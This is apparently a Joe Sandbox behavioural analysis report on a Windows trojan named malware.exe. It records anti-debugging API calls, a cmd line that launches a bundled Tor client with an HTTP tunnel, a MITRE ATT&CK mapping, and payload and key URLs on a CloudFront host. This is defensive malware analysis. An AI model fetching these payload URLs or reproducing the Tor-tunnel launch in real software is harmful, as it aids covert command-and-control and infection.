Source: tor.exe, 00000005.00000003.606680571.0000000004A46000.00000004.00000020.00020000.00000000.sdmp, tor.exe, 00000005.00000003.601544314.000000000447E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UnX5zPzZTQ+hWswTaN6dBGtGSxXOQLG0ofUo9hOtBdYqemuoilFzAgMBAAE=

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA8BEBD0 IsDebuggerPresent,

0_2_00007FF6EA8BEBD0

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA705A0A OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,GetFileType,WriteConsoleW,GetLastError,WriteFile,WriteFile,OutputDebugStringW,

0_2_00007FF6EA705A0A

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA705497 GetProcessHeap,

0_2_00007FF6EA705497

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA702E72 rdtsc

0_2_00007FF6EA702E72

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA70179D __raise_securityfailure,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6EA70179D
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA706225 SetUnhandledExceptionFilter,	0_2_00007FF6EA706225
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA707E54 __crtCaptureCurrentContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6EA707E54
Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe	Code function: 5_2_013B119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,	5_2_013B119B

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA706CE3 ShellExecuteA,

0_2_00007FF6EA706CE3

Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\TorFiles\Tor\tor.exe TorFiles\tor\tor.exe --nt-service --HTTPTunnelPort 8118			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	0_2_00007FF6EA8ECB90
Source: C:\Users\user\Desktop\malware.exe	Code function: GetLcidFromDefault,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF6EA7074A9
Source: C:\Users\user\Desktop\malware.exe	Code function: GetPrimaryLen,EnumSystemLocalesW,	0_2_00007FF6EA8EC230
Source: C:\Users\user\Desktop\malware.exe	Code function: EnumSystemLocalesW,	0_2_00007FF6EA70532F
Source: C:\Users\user\Desktop\malware.exe	Code function: GetLocaleInfoW,	0_2_00007FF6EA703737

Source: C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA704C4F GetSystemTimeAsFileTime,

0_2_00007FF6EA704C4F

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA8DFE00 GetTimeZoneInformation,

0_2_00007FF6EA8DFE00

Source: C:\Users\user\Desktop\malware.exe

Code function: 0_2_00007FF6EA706BDA GetVersionExW,

0_2_00007FF6EA706BDA

Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA707742 Concurrency::details::SchedulerProxy::BindContext,	0_2_00007FF6EA707742
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA704BAF Concurrency::details::SchedulerBase::ListenAffinity,	0_2_00007FF6EA704BAF
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA704493 Concurrency::details::UMSThreadProxy::FromListEntry,	0_2_00007FF6EA704493
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA706B8F listen,	0_2_00007FF6EA706B8F
Source: C:\Users\user\Desktop\malware.exe	Code function: 0_2_00007FF6EA705735 bind,	0_2_00007FF6EA705735

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	12 Service Execution	12 Windows Service	1 Exploitation for Privilege Escalation	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	12 Windows Service	21 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 PowerShell	Logon Script (Windows)	11 Process Injection	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Multi-hop Proxy	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	3 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	1 Proxy	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	25 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
malware.exe	70%	ReversingLabs	Win64.Trojan.Tnega
malware.exe	100%	Avira	TR/FileCoder.xejgv

Dropped Files

Source	Detection	Scanner
C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll	3%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libgcc_s_sjlj-1.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libssp-0.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\libwinpthread-1.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\ssleay32.dll	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\tor-gencert.exe	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\tor.exe	0%	ReversingLabs
C:\Users\user\Desktop\TorFiles\Tor\zlib1.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://freehaven.net/anonbib/#hs-attack06	0%	URL Reputation	safe
http://127.0.0.1:8118~	0%	Avira URL Cloud	safe
http://127.0.0.1:8118	0%	Avira URL Cloud	safe
http://127.0.0.1:81188	0%	Avira URL Cloud	safe
https://386bsd.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dz0nhlj1q8ac3.cloudfront.net	99.84.90.27	true	false		high
ijustwanatry.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zip	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://blog.torproject.org/blog/lifecycle-of-a-new-relayError	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/mC/h	malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/	malware.exe, 00000000.00000002.749151238.000001A64B664000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zipK	malware.exe, 00000000.00000002.749151238.000001A64B648000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.torproject.org/	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://trac.torproject.org/8742	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
http://dz0nhlj1q8ac3.cloudfront.net:443/	malware.exe, 00000000.00000002.749379484.000001A64D470000.00000004.00000020.00020000.00000000.sdmp	false		high
http://freehaven.net/anonbib/#hs-attack06	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
https://dz0nhlj1q8ac3.cloudfront.net/g	malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	tor.exe, 00000005.00000002.756577188.000000006CEE2000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://blog.torproject.org/blog/lifecycle-of-a-new-relay	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
http://dz0nhlj1q8ac3.cloudfront.net:443/keyd.exe	malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:8118	malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.htmlRAND	tor.exe, 00000005.00000002.756577188.000000006CEE2000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://www.torproject.org/download/download#warningalphabetaThis	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
http://mingw-w64.sourceforge.net/X	tor.exe, 00000005.00000002.756093748.0000000064B51000.00000008.00000001.01000000.00000008.sdmp	false		high
https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.torproject.org/documentation.html	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://386bsd.net	tor.exe, 00000005.00000003.592797082.0000000003A35000.00000004.00000020.00020000.00000000.sdmp, tor.exe, 00000005.00000003.596593354.0000000004476000.00000004.00000020.00020000.00000000.sdmp, tor.exe, 00000005.00000003.588962694.0000000003E0E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://trac.torproject.org/projects/tor/ticket/21155.	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
http://127.0.0.1:8118~	malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://dz0nhlj1q8ac3.cloudfront.net:443/iv	malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D462000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dz0nhlj1q8ac3.cloudfront.net:443/ivy	malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.torproject.org/download/download#warning	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
http://127.0.0.1:81188	malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dz0nhlj1q8ac3.cloudfront.net:443/keyw	malware.exe, 00000000.00000002.749151238.000001A64B719000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/Bot.py.#:h	malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/tor-win32-0.3.4.9.zipp	malware.exe, 00000000.00000002.749151238.000001A64B68C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.torproject.org/docs/faq.html#BestOSForRelay	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/image.jpg	malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dz0nhlj1q8ac3.cloudfront.net:443/key	malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000002.749151238.000001A64B6B2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dz0nhlj1q8ac3.cloudfront.net:443/ivr	malware.exe, 00000000.00000002.749151238.000001A64B6FF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz0nhlj1q8ac3.cloudfront.net/Bot.py	malware.exe, 00000000.00000002.749379484.000001A64D440000.00000004.00000020.00020000.00000000.sdmp	false		high
https://trac.torproject.org/projects/tor/ticket/14917.	tor.exe, 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
171.25.193.9	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
188.138.112.60	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
171.25.193.20	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
77.247.181.162	unknown	Netherlands	43350	NFORCENL	false
198.50.191.95	unknown	Canada	16276	OVHFR	false
81.7.16.182	unknown	Germany	35366	ISPPRO-ASISPPRO-AScoversthenetworksofISPproDE	false
193.70.43.76	unknown	France	16276	OVHFR	false
77.247.181.164	unknown	Netherlands	43350	NFORCENL	false
217.79.179.177	unknown	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	false
99.84.90.27	dz0nhlj1q8ac3.cloudfront.net	United States	16509	AMAZON-02US	false
37.153.1.10	unknown	Russian Federation	196750	SETI-WEBARU	false
62.138.7.171	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
185.100.84.82	unknown	Romania	200651	FLOKINETSC	false
46.165.230.5	unknown	Germany	28753	LEASEWEB-DE-FRA-10DE	false
185.96.88.29	unknown	Denmark	24800	BORNFIBERDK	false
62.210.254.132	unknown	France	12876	OnlineSASFR	false
81.2.209.10	unknown	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false
163.172.157.213	unknown	United Kingdom	12876	OnlineSASFR	false
199.249.230.114	unknown	United States	62744	QUINTEXUS	false
163.172.176.167	unknown	United Kingdom	12876	OnlineSASFR	false
212.83.43.95	unknown	Germany	47447	TTMDE	false
212.83.43.94	unknown	Germany	47447	TTMDE	false
195.154.164.243	unknown	France	12876	OnlineSASFR	false
178.16.208.57	unknown	Sweden	50821	ASHPDCSE	false
171.25.193.78	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
176.31.180.157	unknown	France	16276	OVHFR	false
86.59.119.88	unknown	Austria	8437	UTA-ASAT	false
5.9.110.236	unknown	Germany	24940	HETZNER-ASDE	false
197.231.221.211	unknown	Liberia	37560	CYBERDYNELR	false
64.113.32.29	unknown	United States	15154	SBBSNETUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	878990
Start date and time:	2023-05-31 12:21:18 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	malware.exe
Detection:	MAL
Classification:	mal68.spyw.evad.winEXE@9/27@15/32
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: malware.exe

Simulations

Behavior and APIs

Time	Type	Description
12:22:22	API Interceptor	44x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
171.25.193.9	R53a3ZJHBQ.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	x3WX1kHqcx.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	oGO7Hy4YCH.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	SPXp2YHDFz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	ILI1MGzcig.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	lwRhzjuYIg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	OVrJ9mtD6Y.exe	Get hash	malicious	TinyNuke	Browse	171.25.193.9/tor/status-vote/current/consensus
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	zfpLjnr5P9.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	kecFPnbu5K.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	SecuriteInfo.com.Trojan.Kronos.21.31435.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	530000.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	6d0000.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	6729001591617.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	NNrUb9Avaw.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	taugif.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	9WajXSHVwg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	62ea.exe	Get hash	malicious		Browse	171.25.193.9/tor/status-vote/current/consensus
	00.exe	Get hash	malicious		Browse	171.25.193.9/tor/status-vote/current/consensus

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFRI-ASForeningenfordigitalafri-ochrattigheterSE	WannaCry.cmd	Get hash	malicious	Wannacry, Conti	Browse	171.25.193.9
	qsteemp.exe	Get hash	malicious	Gurcu Stealer	Browse	171.25.193.9
	R53a3ZJHBQ.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9
	x3WX1kHqcx.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9
	2N2jefqo8e.exe	Get hash	malicious	Wannacry, Conti	Browse	171.25.193.9
	oGO7Hy4YCH.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9
	http://171.25.193.77	Get hash	malicious	Unknown	Browse	171.25.193.77
	puzykxm8rg.exe	Get hash	malicious	Amadey, RedLine, SmokeLoader	Browse	171.25.193.9
	SPXp2YHDFz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	ILI1MGzcig.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
